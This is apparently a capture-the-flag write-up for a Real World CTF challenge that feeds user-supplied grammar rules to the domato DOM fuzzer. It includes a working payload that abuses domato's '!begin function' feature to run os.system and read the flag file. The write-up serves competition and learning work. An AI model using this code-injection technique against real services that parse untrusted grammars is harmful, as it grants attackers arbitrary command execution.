I like eat domato, it's excellent for dom fuzz, try to use your rule!
nc 47.251.60.74 9999
Quick look
The challenge attachment includes a Dockerfile that builds a container containing the DOM fuzzer domato
FROM ubuntu:22.04 AS base
RUN apt-get clean && \
apt-get update && \
apt-get install -qy git && \
git clone https://github.com/googleprojectzero/domato /domato
# [...]
Then, the container was configured to execute the following script:
#!/usr/local/bin/python3
from grammar import Grammar
print("define your own rule >> ")
your_rule = ""
while True:
line = input()
if line == "<EOF>":
break
your_rule += line + "\n"
rwctf_grammar = Grammar()
err = rwctf_grammar.parse_from_string(your_rule)
if err > 0:
print("Grammer Parse Error")
exit(-1)
rwctf_result = rwctf_grammar._generate_code(10)
with open("/domato/rwctf/template.html", "r") as f:
template = f.read()
rwctf_result = template.replace("<rwctf>", rwctf_result)
print("your result >> ")
print(rwctf_result)
One detail catch my attention in the Dockerfile:
# [...]
COPY flag /flag
RUN mkdir /srv/app && \
mv /flag /srv/app/flag_$(md5sum /flag | awk '{print $1}')
This implies that the flag is initially copied to the / directory and then renamed with an unpredictable name. Does this suggest that Remote Code Execution (RCE) is required?
Vulnerability
Based on the challenge description and the provided code, it became evident that we needed to craft a valid rule in domato. My strategy was to refer to the fuzzer’s documentation. There, I discovered two approach:
- Use
!include: This expression allows the reading of arbitrary files and is triggered by the verbose errorError parsing line: {line of the file}. - Use
!begin function: This expression enables the inclusion of Python code but requires a valid rule.
Leveraging the documentation examples, I successfully created a valid rule. It’s worth noting that the Local File Inclusion (LFI) approach proved futile as we lacked information about the flag’s name, which was intentionally made unguessable.
!begin function pwn
import os
os.system("cat flag*")
ret_val = "pwned"
!end function
!begin lines
<new naslab> = <call function=pwn>
!end lines
The result of the system function call will be printed to stdout, and we will obtain the flag.
rwctf{it_is_a_boring_chall_about_domato_rce_20240126rwctf}
